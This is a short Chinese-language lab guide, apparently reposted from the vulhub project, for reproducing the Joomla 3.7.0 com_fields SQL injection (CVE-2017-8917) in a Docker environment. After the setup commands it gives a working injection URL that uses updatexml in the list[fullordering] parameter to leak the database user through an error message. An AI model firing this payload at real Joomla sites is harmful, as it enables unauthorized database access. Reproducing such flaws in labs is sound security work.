Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境
简介漏洞是由此Joomla 3.7.0 版本中引入的新组件（com_fields）带来的环境搭建cd /root/vulhub/joomla/CVE-2017-8917docker-compose up -d启动后访问http://your-ip:8080即可看到Joomla的安装界面按照顺序安装即可安装完成后，访问http://your-ip:8080/index.php?option=com_
·
简介
漏洞是由此Joomla 3.7.0 版本中引入的新组件（com_fields）带来的
环境搭建
cd /root/vulhub/joomla/CVE-2017-8917
docker-compose up -d
启动后访问http://your-ip:8080即可看到Joomla的安装界面
按照顺序安装即可
安装完成后，访问http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)，即可看到报错信息：
权威｜前沿｜技术｜干货｜国内首个API全生命周期开发者社区
更多推荐
0
0- 0
已为社区贡献1条内容
所有评论(0)